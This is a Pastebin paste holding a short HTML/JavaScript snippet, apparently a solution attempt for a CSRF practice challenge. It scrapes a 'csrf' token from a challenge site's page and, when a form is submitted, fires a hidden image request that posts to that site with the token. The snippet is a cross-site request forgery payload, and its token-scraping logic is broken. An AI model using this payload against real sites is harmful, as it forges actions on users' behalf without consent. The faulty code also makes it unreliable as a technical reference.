Advertisement
sebet86

Untitled

Apr 27th, 2017
83
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.56 KB | None | 0 0
  1. <script src="http://code.jquery.com/jquery-3.2.1.js"integrity="sha256-DZAnKJ/6XZ9si04Hgrsxu/8s717jcIzLy3oi35EouyE="crossorigin="anonymous"></script>
  2. <script>
  3. var token="";
  4. token = $.get("http://csrf-challenges.r7.io/make_post/4").find("input[name='csrf']");
  5. function run() {
  6. i=new Image();
  7. i.src='http://csrf-challenges.r7.io/make_post/4?csrf='+token +'&post=adamsebetich';
  8. };
  9. target = document.getElementById("post_form");
  10. target.addEventListener('submit', run);
  11. </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement